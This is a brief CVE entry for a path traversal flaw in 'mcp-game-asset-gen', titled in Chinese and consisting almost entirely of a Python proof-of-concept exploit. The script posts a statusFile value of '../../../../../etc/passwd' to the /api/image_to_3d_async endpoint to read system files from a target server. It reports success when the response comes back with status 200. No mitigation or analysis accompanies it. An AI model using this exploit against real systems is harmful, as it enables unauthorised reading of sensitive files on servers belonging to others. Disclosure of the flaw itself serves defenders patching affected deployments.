CVE-2026-7594: mcp-game-asset-gen路径遍历漏洞

import requests # Target URL example target_url = "http://target-host:port/api/image_to_3d_async" # Malicious payload using path traversal payload = { "statusFile": "../../../../../etc/passwd" # Attempting to read sensitive files } try: # Send POST request with the malicious payload response = requests.post(target_url, data=payload) if response.status_code == 200: print("Exploit successful! Response content:") print(response.text) else: print(f"Exploit failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")